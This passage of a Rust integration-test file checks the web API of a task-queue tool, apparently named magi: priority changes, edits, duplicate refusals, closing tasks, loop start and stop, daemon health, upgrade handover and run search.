11340        // newest-first `list()` already gave every equal-priority queue.
11341        let before = f.get("/api/queue").await.json();
11342        assert_eq!(before[0]["id"], newer.id);
11343        assert_eq!(before[1]["id"], older.id);
11344
11345        // Raising the *older* task is the meaningful case: it can only lead
11346        // now because its priority says so, not because it happens to be
11347        // newest.
11348        let raised = f
11349            .post(
11350                &format!("/api/queue/{}/priority", older.id),
11351                Some(r#"{"priority":10}"#),
11352            )
11353            .await;
11354        assert_eq!(raised.status, 200, "{}", raised.body);
11355        assert_eq!(raised.json()["priority"], 10);
11356
11357        let after = f.get("/api/queue").await.json();
11358        let names: Vec<&str> = after
11359            .as_array()
11360            .unwrap()
11361            .iter()
11362            .map(|t| t["id"].as_str().unwrap())
11363            .collect();
11364        // Highest priority first, which is the order next_runnable and
11365        // `magi task list` both use - GET /api/queue must agree with it
11366        // immediately, not just once the loop claims the task.
11367        assert_eq!(names[0], older.id, "the raised task now sorts first");
11368    }
11369
11370    #[tokio::test]
11371    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
11372        let f = Fixture::start().await;
11373        let queue = f.queue();
11374        let mut task = Task::new(
11375            "in flight".to_owned(),
11376            "x".to_owned(),
11377            PathBuf::from("/repo/magi"),
11378            Source::Human,
11379        );
11380        task.start("20260902-140502-bbbb".to_owned());
11381        queue.put(&mut task).expect("file the task");
11382
11383        let res = f
11384            .post(
11385                &format!("/api/queue/{}/priority", task.id),
11386                Some(r#"{"priority":9}"#),
11387            )
11388            .await;
11389        assert_eq!(res.status, 400, "{}", res.body);
11390        assert!(
11391            res.json()["error"]
11392                .as_str()
11393                .is_some_and(|e| e.contains("running")),
11394            "{}",
11395            res.body
11396        );
11397        assert_eq!(
11398            queue.get(&task.id).expect("reload").priority,
11399            0,
11400            "the refused write must not partially apply"
11401        );
11402    }
11403
11404    #[tokio::test]
11405    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
11406        let f = Fixture::start().await;
11407        let queue = f.queue();
11408        let mut task = Task::new(
11409            "old title".to_owned(),
11410            "old instruction".to_owned(),
11411            PathBuf::from("/repo/magi"),
11412            Source::Agent {
11413                run: "20260101-000000-beef".to_owned(),
11414                node: "implement".to_owned(),
11415            },
11416        );
11417        task.runs.push("20260101-000000-beef".to_owned());
11418        queue.put(&mut task).expect("file the task");
11419        let created_at = task.created_at;
11420
11421        let edited = f
11422            .post(
11423                &format!("/api/queue/{}/edit", task.id),
11424                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
11425            )
11426            .await;
11427        assert_eq!(edited.status, 200, "{}", edited.body);
11428        let body = edited.json();
11429        assert_eq!(body["title"], "new title");
11430        assert_eq!(body["instruction"], "new instruction");
11431        assert_eq!(body["id"], task.id, "editing must not mint a new id");
11432        assert_eq!(body["created_at"], created_at.to_string());
11433        assert_eq!(
11434            body["source"]["kind"], "agent",
11435            "editing a task an agent filed must not turn it human: {body}"
11436        );
11437        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
11438
11439        let reloaded = queue.get(&task.id).expect("reload");
11440        assert_eq!(reloaded.title, "new title");
11441        assert_eq!(reloaded.instruction, "new instruction");
11442    }
11443
11444    #[tokio::test]
11445    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
11446        // The judge is an agent now: a repo whose only agent answers
11447        // "duplicate" stands in for it, so the refusal is the judge's.
11448        let tmp = TempDir::new().expect("tempdir");
11449        let repo = tmp.path().join("repo");
11450        std::fs::create_dir_all(&repo).expect("repo dir");
11451        let judge = MOCK_AGENT_TOML.replace(
11452            "printf ok",
11453            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
11454        );
11455        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
11456        let f = Fixture::with_repo(repo.clone()).await;
11457        let queue = f.queue();
11458        let mut owner = Task::new(
11459            "owner".to_owned(),
11460            "review it".to_owned(),
11461            repo.clone(),
11462            Source::Human,
11463        );
11464        owner.review_branch = Some("magi/ab12/A".to_owned());
11465        queue.put(&mut owner).expect("file the owner");
11466        let mut task = Task::new(
11467            "draft".to_owned(),
11468            "old".to_owned(),
11469            repo.clone(),
11470            Source::Human,
11471        );
11472        queue.put(&mut task).expect("file the draft");
11473        let url = format!("/api/queue/{}/edit", task.id);
11474
11475        let refused = f
11476            .post(
11477                &url,
11478                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
11479            )
11480            .await;
11481        assert_eq!(refused.status, 409, "{}", refused.body);
11482        let msg = refused.json()["error"]
11483            .as_str()
11484            .unwrap_or_default()
11485            .to_owned();
11486        assert!(
11487            msg.contains("magi/ab12/A") && msg.contains("force"),
11488            "{msg}"
11489        );
11490        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
11491
11492        let forced = f
11493            .post(
11494                &url,
11495                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
11496            )
11497            .await;
11498        assert_eq!(forced.status, 200, "{}", forced.body);
11499    }
11500
11501    #[tokio::test]
11502    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
11503        let f = Fixture::start().await;
11504        let queue = f.queue();
11505        let mut task = Task::new(
11506            "in flight".to_owned(),
11507            "do not touch".to_owned(),
11508            PathBuf::from("/repo/magi"),
11509            Source::Human,
11510        );
11511        task.start("20260902-140502-bbbb".to_owned());
11512        queue.put(&mut task).expect("file the task");
11513
11514        let res = f
11515            .post(
11516                &format!("/api/queue/{}/edit", task.id),
11517                Some(r#"{"title":"x","instruction":"y"}"#),
11518            )
11519            .await;
11520        assert_eq!(res.status, 400, "{}", res.body);
11521        assert!(
11522            res.json()["error"]
11523                .as_str()
11524                .is_some_and(|e| e.contains("running")),
11525            "{}",
11526            res.body
11527        );
11528        assert_eq!(
11529            queue.get(&task.id).expect("reload").instruction,
11530            "do not touch",
11531            "the refused edit must not change the file"
11532        );
11533    }
11534
11535    #[tokio::test]
11536    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
11537        let f = Fixture::start().await;
11538        let queue = f.queue();
11539        let mut task = Task::new(
11540            "busy".to_owned(),
11541            "Running right now".to_owned(),
11542            PathBuf::from("/repo/magi"),
11543            Source::Human,
11544        );
11545        queue.put(&mut task).expect("file the task");
11546        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
11547
11548        let priority = f
11549            .post(
11550                &format!("/api/queue/{}/priority", task.id),
11551                Some(r#"{"priority":9}"#),
11552            )
11553            .await;
11554        assert_eq!(priority.status, 409, "{}", priority.body);
11555
11556        let edit = f
11557            .post(
11558                &format!("/api/queue/{}/edit", task.id),
11559                Some(r#"{"title":"x","instruction":"y"}"#),
11560            )
11561            .await;
11562        assert_eq!(edit.status, 409, "{}", edit.body);
11563    }
11564
11565    #[tokio::test]
11566    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
11567        let f = Fixture::start().await;
11568        let queue = f.queue();
11569        let mut task = Task::new(
11570            "shipped by hand".to_owned(),
11571            "merged outside the loop".to_owned(),
11572            PathBuf::from("/repo/magi"),
11573            Source::Agent {
11574                run: "20260101-000000-b455".to_owned(),
11575                node: "implement".to_owned(),
11576            },
11577        );
11578        task.runs.push("20260101-000000-b455".to_owned());
11579        task.runs.push("20260101-000000-9af4".to_owned());
11580        queue.put(&mut task).expect("file the task");
11581        let created_at = task.created_at;
11582
11583        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11584        assert_eq!(done.status, 200, "{}", done.body);
11585        assert_eq!(done.json()["status_str"], "done");
11586
11587        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
11588        assert_eq!(
11589            reloaded.runs,
11590            ["20260101-000000-b455", "20260101-000000-9af4"]
11591        );
11592        assert_eq!(
11593            reloaded.source,
11594            Source::Agent {
11595                run: "20260101-000000-b455".to_owned(),
11596                node: "implement".to_owned(),
11597            }
11598        );
11599        assert_eq!(reloaded.created_at, created_at);
11600    }
11601
11602    #[tokio::test]
11603    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
11604        // `done` is allowed on any status, including `held`, with no release
11605        // in between - so a task held for a reason and then closed directly
11606        // must not keep reading as "waiting on" it afterwards, on its card or
11607        // in `magi task show`.
11608        let f = Fixture::start().await;
11609        let queue = f.queue();
11610        let mut task = Task::new(
11611            "landed while held".to_owned(),
11612            "x".to_owned(),
11613            PathBuf::from("/repo/magi"),
11614            Source::Human,
11615        );
11616        task.hold_manual(Some("waiting on 3ed9".to_owned()));
11617        queue.put(&mut task).expect("file the held task");
11618
11619        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11620        assert_eq!(done.status, 200, "{}", done.body);
11621        assert_eq!(done.json()["status_str"], "done");
11622        assert!(
11623            done.json()["hold_reason"].is_null(),
11624            "a done task cannot still be waiting on something: {}",
11625            done.body
11626        );
11627    }
11628
11629    #[tokio::test]
11630    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
11631        // `queue_done` is the phone's way to close a task the loop never
11632        // settled itself - after confirming a manual GitHub merge, say - and
11633        // that is just as much "this task's story is over" as the loop's own
11634        // `Merged`/`Ready` path, so it must trigger the same cleanup.
11635        let f = Fixture::start().await;
11636        let queue = f.queue();
11637        let runs = f.runs();
11638        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
11639        // The last attempt has to have actually landed for the earlier one
11640        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
11641        // for the case where it didn't.
11642        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
11643
11644        let mut task = Task::new(
11645            "landed by hand".to_owned(),
11646            "x".to_owned(),
11647            PathBuf::from("/repo/magi"),
11648            Source::Human,
11649        );
11650        task.runs.push("20260101-000000-doa1".to_owned());
11651        task.runs.push("20260101-000000-doa2".to_owned());
11652        queue.put(&mut task).expect("file the task");
11653
11654        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11655        assert_eq!(done.status, 200, "{}", done.body);
11656
11657        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
11658            .expect("run still on disk under this fixture's own home");
11659        assert_eq!(
11660            reloaded_run.status,
11661            RunStatus::Superseded,
11662            "closing the task by hand must relabel the earlier blocked attempt exactly \
11663             like the loop's own settle path does"
11664        );
11665    }
11666
11667    #[tokio::test]
11668    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
11669        // Closing a task by hand is allowed from any status, including one
11670        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
11671        // manual merge the loop never watched, say. Nothing here is provably
11672        // why the task is done, so nothing earlier gets relabelled either.
11673        let f = Fixture::start().await;
11674        let queue = f.queue();
11675        let runs = f.runs();
11676        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
11677        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
11678
11679        let mut task = Task::new(
11680            "closed with nothing actually landed".to_owned(),
11681            "x".to_owned(),
11682            PathBuf::from("/repo/magi"),
11683            Source::Human,
11684        );
11685        task.runs.push("20260101-000000-dob1".to_owned());
11686        task.runs.push("20260101-000000-dob2".to_owned());
11687        queue.put(&mut task).expect("file the task");
11688
11689        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11690        assert_eq!(done.status, 200, "{}", done.body);
11691
11692        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
11693            .expect("run still on disk under this fixture's own home");
11694        assert_eq!(
11695            reloaded_run.status,
11696            RunStatus::Blocked,
11697            "the last recorded attempt never landed, so the earlier one must not be \
11698             relabelled as superseded by it"
11699        );
11700    }
11701
11702    #[tokio::test]
11703    async fn unknown_ids_are_json_not_found_on_both_stores() {
11704        let f = Fixture::start().await;
11705
11706        let run = f.get("/api/runs/nosuchrun").await;
11707        let task = f.post("/api/queue/nosuchtask/hold", None).await;
11708
11709        assert_eq!(run.status, 404);
11710        assert_eq!(task.status, 404);
11711        assert!(
11712            run.json()["error"]
11713                .as_str()
11714                .is_some_and(|e| e.contains("run")),
11715            "the error names what was not found: {}",
11716            run.body
11717        );
11718        assert!(
11719            task.json()["error"]
11720                .as_str()
11721                .is_some_and(|e| e.contains("task")),
11722            "the error names what was not found: {}",
11723            task.body
11724        );
11725    }
11726
11727    #[tokio::test]
11728    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
11729        let f = Fixture::start().await;
11730
11731        let missing = f.get("/api/health").await.json();
11732        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
11733
11734        write_daemon(
11735            f.home.path(),
11736            Timestamp::now() - jiff::SignedDuration::from_secs(60),
11737        );
11738        let stale = f.get("/api/health").await.json();
11739        assert_eq!(
11740            stale["daemon"]["running"], false,
11741            "a minute without a heartbeat is a dead daemon, not a busy one"
11742        );
11743        assert!(
11744            stale["daemon"]["stale_for_secs"]
11745                .as_i64()
11746                .is_some_and(|s| s >= 55),
11747            "staleness is reported so the UI can say how long: {stale}"
11748        );
11749
11750        write_daemon(f.home.path(), Timestamp::now());
11751        let fresh = f.get("/api/health").await.json();
11752        assert_eq!(fresh["daemon"]["running"], true);
11753        assert_eq!(fresh["daemon"]["idle"], false);
11754        assert_eq!(fresh["daemon"]["pid"], 4242);
11755        assert_eq!(fresh["daemon"]["completed"], 7);
11756        assert_eq!(
11757            fresh["daemon"]["current"][0]["task"],
11758            "20260902-140501-aaaa"
11759        );
11760        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
11761    }
11762
11763    #[tokio::test]
11764    async fn the_loop_is_not_running_until_something_starts_it() {
11765        let f = Fixture::start().await;
11766
11767        let view = f.get("/api/loop").await.json();
11768        assert_eq!(view["running"], false);
11769        assert_eq!(
11770            view["owned"], false,
11771            "nobody owns a loop that does not exist: {view}"
11772        );
11773        assert_eq!(view["stopping"], false);
11774        assert_eq!(view["last_error"], Value::Null);
11775        assert_eq!(view["daemon"]["running"], false);
11776        assert_eq!(
11777            view["repo"], "/repo/magi",
11778            "the repository a start would use, named before it is started"
11779        );
11780    }
11781
11782    #[tokio::test]
11783    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
11784        let f = Fixture::start().await;
11785
11786        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11787        assert_eq!(res.status, 200, "{}", res.body);
11788        let view = res.json();
11789        assert_eq!(view["running"], true);
11790        assert_eq!(
11791            view["owned"], true,
11792            "the loop the UI started is the UI's own to stop: {view}"
11793        );
11794        assert_eq!(
11795            view["merge"],
11796            Value::Null,
11797            "no override was given, so each repository's own config decides"
11798        );
11799
11800        // The same object from the route a waking phone polls first. Two
11801        // surfaces disagreeing about whether anything is running is exactly
11802        // the confusion this UI exists to remove.
11803        let health = f.get("/api/health").await.json();
11804        assert_eq!(health["loop"]["running"], true, "{health}");
11805        assert_eq!(health["loop"]["owned"], true, "{health}");
11806
11807        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11808    }
11809
11810    #[tokio::test]
11811    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
11812        let f = Fixture::start().await;
11813        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11814        assert_eq!(first.status, 200, "{}", first.body);
11815
11816        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11817        assert_eq!(
11818            again.status, 409,
11819            "two loops on one queue race for the same claims: {}",
11820            again.body
11821        );
11822        assert!(
11823            again.json()["error"]
11824                .as_str()
11825                .is_some_and(|e| e.contains("already running the loop")),
11826            "the refusal has to say why: {}",
11827            again.body
11828        );
11829        assert_eq!(
11830            f.get("/api/loop").await.json()["running"],
11831            true,
11832            "and the loop that was already running is untouched by it"
11833        );
11834
11835        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11836    }
11837
11838    #[tokio::test]
11839    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
11840        let f = Fixture::start().await;
11841        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11842
11843        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11844        assert_eq!(
11845            res.status, 200,
11846            "the answer must not wait for the loop: a run in flight is tens of \
11847             minutes and the operator is holding a phone: {}",
11848            res.body
11849        );
11850
11851        let view = settled(&f, |v| v["running"] == false).await;
11852        assert_eq!(view["owned"], false);
11853        assert_eq!(
11854            view["stopping"], false,
11855            "a loop that has stopped is not still stopping: {view}"
11856        );
11857        assert_eq!(
11858            view["last_error"],
11859            Value::Null,
11860            "a loop that was asked to stop did not fail: {view}"
11861        );
11862
11863        // Idempotent, because the operator cannot tell a slow stop from a lost
11864        // one and will press it again.
11865        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11866        assert_eq!(twice.status, 200, "{}", twice.body);
11867    }
11868
11869    #[tokio::test]
11870    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
11871        let f = Fixture::start().await;
11872        // How the operator has been doing it: a `magi serve` of their own,
11873        // heartbeat fresh, in the same home this UI reads.
11874        write_daemon(f.home.path(), Timestamp::now());
11875
11876        let view = f.get("/api/loop").await.json();
11877        assert_eq!(view["running"], false, "not in this process: {view}");
11878        assert_eq!(view["owned"], false, "and not this process's to control");
11879        assert_eq!(
11880            view["daemon"]["running"], true,
11881            "but a loop is alive somewhere, which is what the UI must say"
11882        );
11883        assert_eq!(view["daemon"]["pid"], 4242);
11884
11885        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
11886            let res = f.post("/api/loop", Some(body)).await;
11887            assert_eq!(
11888                res.status, 409,
11889                "neither button may pretend to work on someone else's loop: {}",
11890                res.body
11891            );
11892            assert!(
11893                res.json()["error"]
11894                    .as_str()
11895                    .is_some_and(|e| e.contains("4242")),
11896                "the refusal has to name the process the operator must go to: {}",
11897                res.body
11898            );
11899        }
11900        assert_eq!(
11901            f.get("/api/loop").await.json()["running"],
11902            false,
11903            "and the refusal started nothing"
11904        );
11905    }
11906
11907    #[tokio::test]
11908    async fn a_stale_status_file_is_not_a_foreign_owner() {
11909        let f = Fixture::start().await;
11910        write_daemon(
11911            f.home.path(),
11912            Timestamp::now() - jiff::SignedDuration::from_secs(60),
11913        );
11914
11915        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11916        assert_eq!(
11917            res.status, 200,
11918            "a daemon killed a minute ago must not lock the loop out of its \
11919             own home for good: {}",
11920            res.body
11921        );
11922        assert_eq!(res.json()["running"], true);
11923
11924        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11925    }
11926
11927    #[tokio::test]
11928    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
11929        let f = Fixture::start().await;
11930        let before = f.get("/api/health").await.json()["loop_rev"]
11931            .as_u64()
11932            .expect("a loop revision");
11933
11934        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11935
11936        let after = f.get("/api/health").await.json()["loop_rev"]
11937            .as_u64()
11938            .expect("a loop revision");
11939        assert!(
11940            after > before,
11941            "the loop is in-process state, so this counter is the only thing \
11942             that tells a second device the first one started it: {before} -> \
11943             {after}"
11944        );
11945
11946        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11947    }
11948
11949    #[tokio::test]
11950    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
11951        let f = Fixture::with_loop(launch_broken).await;
11952
11953        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11954        assert_eq!(
11955            res.status, 200,
11956            "starting it is not the failure: {}",
11957            res.body
11958        );
11959
11960        let view = settled(&f, |v| v["last_error"].is_string()).await;
11961        assert_eq!(
11962            view["running"], false,
11963            "a loop that died must not read as running, or the operator has \
11964             nothing to press: {view}"
11965        );
11966        assert_eq!(view["owned"], false);
11967        assert!(
11968            view["last_error"]
11969                .as_str()
11970                .is_some_and(|e| e.contains("read-only file system")),
11971            "the phone is where a loop that died at 3am is visible: {view}"
11972        );
11973
11974        // And it can be started again: the corpse was reaped, not left to
11975        // occupy the slot.
11976        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11977        assert_eq!(again.status, 200, "{}", again.body);
11978        assert!(
11979            again.json()["last_error"]
11980                .as_str()
11981                .is_none_or(|e| !e.contains("read-only file system")),
11982            "a fresh start does not keep showing why the last one died: {}",
11983            again.body
11984        );
11985    }
11986
11987    /// An upgrade parks the run in flight before it restarts, and a park waits
11988    /// for the node - up to `timeout_implement`, an hour by default. The deck
11989    /// has to answer for all of it: the operator has just been told a run is
11990    /// finishing first, and this address is the only place that says how it is
11991    /// going. It did not, once - the listener went with the `select!` arm that
11992    /// began the handover, and the phone got `Cannot reach magi: Failed to
11993    /// fetch` for the rest of the wave.
11994    ///
11995    /// The other half is the older rule: the address must be free *before* the
11996    /// successor is started, or it dies on "address already in use" with its
11997    /// stdio sent to null and the deck never comes back.
11998    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
11999    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
12000        let home = TempDir::new().expect("temp home");
12001        let runs = home.path().join("runs");
12002        std::fs::create_dir_all(&runs).expect("runs dir");
12003        let ui = Ui::new(
12004            Queue::at(home.path().join("queue")),
12005            Questions::at(home.path().join("questions")),
12006            Talks::at(home.path().join("talks")),
12007            runs,
12008            home.path().to_path_buf(),
12009            PathBuf::from("/repo/magi"),
12010        )
12011        .with_worktrees_root(home.path().join("wt"))
12012        .with_launch(launch_knocking_on_the_way_out);
12013        let looping = ui.looping();
12014        let turns = ui.turns();
12015        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
12016            .await
12017            .expect("bind loopback");
12018        let addr = listener.local_addr().expect("local addr");
12019        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
12020        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
12021
12022        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
12023        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
12024
12025        // The successor's whole job, and the one thing it cannot do while this
12026        // process still holds the socket.
12027        //
12028        // One bind is not enough, and the reason is not this process's order of
12029        // operations: aborting the accept loop drops the listener, but axum
12030        // serves each accepted connection on a task of its own, and those are
12031        // not aborted. The requests above left sockets on this very address,
12032        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
12033        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
12034        // Production absorbs that in `bind_waiting`; so does this. Only
12035        // `AddrInUse` is retried, and the listener is released before the
12036        // closure returns - were the order wrong, the listener would outlive
12037        // the closure and every attempt would fail. Inferred from the bind
12038        // rules and the code; not reproduced on macOS.
12039        let bound = std::sync::Mutex::new(None);
12040        hand_over(
12041            home.path(),
12042            &looping,
12043            &turns,
12044            &|_: &[String]| Duration::from_secs(5),
12045            served,
12046            |_| {
12047                let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
12048                let attempt = loop {
12049                    match std::net::TcpListener::bind(addr) {
12050                        Ok(l) => {
12051                            drop(l);
12052                            break Ok(());
12053                        }
12054                        Err(e)
12055                            if e.kind() == std::io::ErrorKind::AddrInUse
12056                                && std::time::Instant::now() < deadline =>
12057                        {
12058                            std::thread::sleep(std::time::Duration::from_millis(10));
12059                        }
12060                        Err(e) => break Err(e.to_string()),
12061                    }
12062                };
12063                *bound.lock().expect("bound") = Some(attempt);
12064                Ok(1)
12065            },
12066        )
12067        .await
12068        .expect("hand over");
12069
12070        assert_eq!(
12071            *PARK_HEARD.lock().expect("park heard"),
12072            Some(200),
12073            "the deck must answer while the loop is parking"
12074        );
12075        let attempt = bound
12076            .lock()
12077            .expect("bound")
12078            .take()
12079            .expect("the successor was started");
12080        assert!(
12081            attempt.is_ok(),
12082            "and the address must be free by the time it is: {attempt:?}"
12083        );
12084    }
12085
12086    #[tokio::test]
12087    async fn a_newer_daemon_status_file_still_renders() {
12088        let f = Fixture::start().await;
12089        // A field this build has never heard of must not turn the status line
12090        // into a 500; that is the whole reason the reader is permissive.
12091        std::fs::write(
12092            f.home.path().join("daemon.json"),
12093            serde_json::json!({
12094                "schema": 2,
12095                "updated_at": Timestamp::now().to_string(),
12096                "idle": true,
12097                "surprise": { "nested": [1, 2, 3] },
12098            })
12099            .to_string(),
12100        )
12101        .expect("write daemon.json");
12102
12103        let health = f.get("/api/health").await;
12104
12105        assert_eq!(health.status, 200);
12106        assert_eq!(health.json()["daemon"]["running"], true);
12107    }
12108
12109    #[tokio::test]
12110    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
12111        let f = Fixture::start().await;
12112        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
12113        let broken = f.runs().join("20260902-140502-bad");
12114        std::fs::create_dir_all(&broken).expect("run dir");
12115        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
12116
12117        let list = f.get("/api/runs").await;
12118        let detail = f.get("/api/runs/20260902-140502-bad").await;
12119
12120        assert_eq!(list.status, 200);
12121        let listed = list.json();
12122        let ids: Vec<&str> = listed
12123            .as_array()
12124            .expect("an array")
12125            .iter()
12126            .map(|r| r["id"].as_str().expect("an id"))
12127            .collect();
12128        assert_eq!(
12129            ids,
12130            vec!["20260902-140501-good"],
12131            "one unreadable run must not cost the operator the whole history"
12132        );
12133        assert_eq!(detail.status, 500);
12134        assert!(
12135            detail.json()["error"]
12136                .as_str()
12137                .is_some_and(|e| e.contains("run.json")),
12138            "the failure names the file to look at: {}",
12139            detail.body
12140        );
12141        // A skipped run has to be countable somewhere, or the UI shows an
12142        // empty history with nothing to explain it - which is exactly what a
12143        // directory full of older-schema runs looks like.
12144        let health = f.get("/api/health").await;
12145        assert_eq!(health.json()["runs_unreadable"], 1);
12146    }
12147
12148    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
12149    #[tokio::test]
12150    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
12151        let f = Fixture::start().await;
12152        let runs = f.runs();
12153        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
12154        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
12155        // Text three levels down, in a shape no current RunState has: an older
12156        // schema must still search.
12157        let path = runs.join("20260902-140502-bbbb").join("run.json");
12158        let mut v: serde_json::Value =
12159            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12160        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
12161        std::fs::write(&path, v.to_string()).unwrap();
12162        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
12163        std::fs::write(
12164            runs.join("20260902-140503-cccc").join("run.json"),
12165            "{ not json",
12166        )
12167        .unwrap();
12168
12169        let res = f.get("/api/search?scope=runs&q=quokka").await;
12170        assert_eq!(res.status, 200, "{}", res.body);
12171        let v = res.json();
12172        assert_eq!(v["total"], 1, "{v}");
12173        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
12174        assert_eq!(v["hits"][0]["field"], "text");
12175        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
12176        let parts = v["hits"][0]["snippet"].as_array().unwrap();
12177        assert!(
12178            parts
12179                .iter()
12180                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
12181            "{v}"
12182        );
12183        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
12184        assert_eq!(
12185            flat, "The Quokka leaks across threads",
12186            "whitespace is collapsed"
12187        );
12188
12189        // Terms are ANDed, across different fields, case-insensitively.
12190        let both = f
12191            .get("/api/search?scope=runs&q=MOBILE%20quokka")
12192            .await
12193            .json();
12194        assert_eq!(both["total"], 1, "{both}");
12195        let neither = f
12196            .get("/api/search?scope=runs&q=quokka%20zebra")
12197            .await
12198            .json();
12199        assert_eq!(neither["total"], 0, "{neither}");
12200        // Everything in the task statement is reachable, not only the row text.
12201        let stmt = f
12202            .get("/api/search?scope=runs&q=mobile%20first")
12203            .await
12204            .json();
12205        assert_eq!(stmt["total"], 2, "{stmt}");
12206        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
12207        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
12208    }
12209
12210    #[test]
12211    fn snippet_ignores_terms_longer_than_the_field() {
12212        let terms = ["ok".to_owned(), "elephant".to_owned()];
12213        let parts = snippet_of("ok", &terms);
12214        assert_eq!(
12215            parts,
12216            vec![SnippetPart {
12217                text: "ok".to_owned(),
12218                hit: true
12219            }]
12220        );
12221    }
12222
12223    #[test]
12224    fn snippet_marks_matches_longer_than_the_window() {
12225        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
12226        let hit_len = |parts: &[SnippetPart]| -> usize {
12227            parts
12228                .iter()
12229                .filter(|p| p.hit)
12230                .map(|p| p.text.chars().count())
12231                .sum()
12232        };
12233        let total =
12234            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
12235
12236        let long = "a".repeat(120);
12237        let parts = snippet_of(&long, std::slice::from_ref(&long));
12238        assert!(hit_len(&parts) > 0, "{parts:?}");
12239        assert!(total(&parts) <= cap);
12240
12241        let ja = "あ".repeat(130);
12242        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
12243        assert!(hit_len(&parts) > 0, "{parts:?}");
12244        assert!(total(&parts) <= cap);
12245
12246        // A short hit, then one straddling the window's end.
12247        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
12248        let term = format!("ab{}", "c".repeat(100));
12249        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
12250        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
12251        assert!(total(&parts) <= cap);
12252
12253        // Only the head matches: not highlighted.
12254        let text = format!("{}z", "a".repeat(119));
12255        let parts = snippet_of(&text, &["a".repeat(120)]);
12256        assert_eq!(hit_len(&parts), 0, "{parts:?}");
12257    }
12258
12259    #[tokio::test]
